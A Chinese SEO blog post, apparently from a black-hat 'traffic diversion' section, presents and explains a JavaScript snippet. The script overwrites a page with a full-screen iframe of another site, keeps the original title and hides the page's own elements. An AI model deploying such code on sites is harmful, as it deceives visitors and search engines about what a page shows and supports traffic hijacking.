本站所有内容仅限用于学习和研究目的,如有侵权请邮件与我们联系处理!
世上事本无难易,为之则易!

网站首页 站群教程 引流跳转代码 正文

将当前网页内容替换为指定链接网页并隐藏部分元素的JS代码

曹操 2023-07-02 引流跳转代码 3361 ℃ 45 评论 4527字 free 收藏

这段代码是一个将当前网页内容替换为指定链接网页并隐藏部分元素的功能实现。

// 获取当前网页的标题
var titlestr = document.title;

// 设置要替换的网页链接并调用setFrame函数
setFrame("http://baidu.com");

// 定义设置网页内容和隐藏元素的函数
function setFrame(olink) {
  // 构造要插入页面的字符串,包含替换网页的iframe标签和原网页标题
  var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><iframe scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>';

  // 将构造好的字符串插入到当前页面中
  eval("document.write('" + ss + "');");

  try {
    // 延迟执行后续操作,避免立即执行报错
    setTimeout(function() {
      // 打印document.body.children的长度
      console.log(document.body.children.length);
      
      // 遍历document.body.children数组
      for (var i = 0; i < document.body.children.length; i++) {
        try {
          // 获取子元素的标签名和id
          var a = document.body.children[i].tagName;
          var b = document.body.children[i].id;
          
          // 打印子元素的位置、标签名和id
          console.log(i + "***" + a + "**" + b);
          
          // 判断条件:如果子元素的id不等于"iconDiv1"、"showcloneshengxiaon"且标签名不是标题,则隐藏该元素
          if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") {
            document.body.children[i].style.display = "none";
          }
        } catch (e) {}
      }

      // 创建meta标签,用于适配移动设备的视口
      var oMeta = document.createElement('meta');
      oMeta.name = 'viewport';
      oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
      document.getElementsByTagName('head')[0].appendChild(oMeta);
    }, 100);
  } catch (e) {}
}

这段代码的含义是获取当前网页的标题,并将页面内容替换为一个指定链接的网页。具体操作如下:

使用var titlestr=document.title;获取当前网页的标题,并将其存储在变量titlestr中。

调用setFrame("http://baidu.com");函数,将参数设置为"http://baidu.com",即要替换的网页链接。

setFrame(olink)函数的具体实现:

a. 构造了一个字符串ss,其中包含了一个<iframe>标签,用于显示要替换的网页内容,并保留原网页的标题。

b. 使用eval()函数将构造好的字符串插入到当前页面中。

c. 使用setTimeout()函数延时100ms执行后续操作,避免立即执行报错。

d. 在延时执行的函数中,首先打印了document.body.children的长度,然后遍历document.body.children数组。

e. 对于每个子元素,获取其标签名和id,并进行判断,如果不等于"iconDiv1"、"showcloneshengxiaon"且不是标题元素,就将其display属性设置为"none",即隐藏该元素。

f. 创建一个meta标签,设置name为'viewport',content为'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no',并将其添加到head标签中,用于适配移动设备的视口。

总体来说,这段代码的目的是将当前页面替换为指定链接的网页,并隐藏部分元素。


Tags:

必看说明

  • 本站中所有被研究的素材与信息全部来源于互联网,版权争议与本站无关。
  • 本站文章或仅为文本内容原创,非程序原创。如有侵权、不妥之处,请联系站长第一时间删除。敬请谅解!
  • 本站所有内容严格遵守国家法律的条例,所有研究的算法技术均来源于搜索引擎公开默认允许用户研究使用的接口。
  • 阅读本文及获取资源前,请确保您已充分阅读并理解《访问曹操SEO网站需知:行为准则》。
  • 本站分享的任何工具、程序仅供学习参考编写架构,仅可在本地的虚拟机内断网测试,严禁联网运行或上传搭建!
  • 任何资源必须在下载后24个小时内,从电脑中彻底删除。不得传播或者用于其他任何用途!否则一切后果用户自负!
  • 转载请注明 : 文章转载自  曹操SEO 将当前网页内容替换为指定链接网页并隐藏部分元素的JS代码
  • 本文标题:《将当前网页内容替换为指定链接网页并隐藏部分元素的JS代码》
  • 本文链接:https://ccooc.cn/2007.html

已有45位网友发表了看法:

欢迎 发表评论:

网站分类
近期评论
文章归档
标签列表
站点信息
  • 文章总数:2024
  • 页面总数:7
  • 分类总数:46
  • 标签总数:340
  • 评论总数:9280
  • 浏览总数:5746312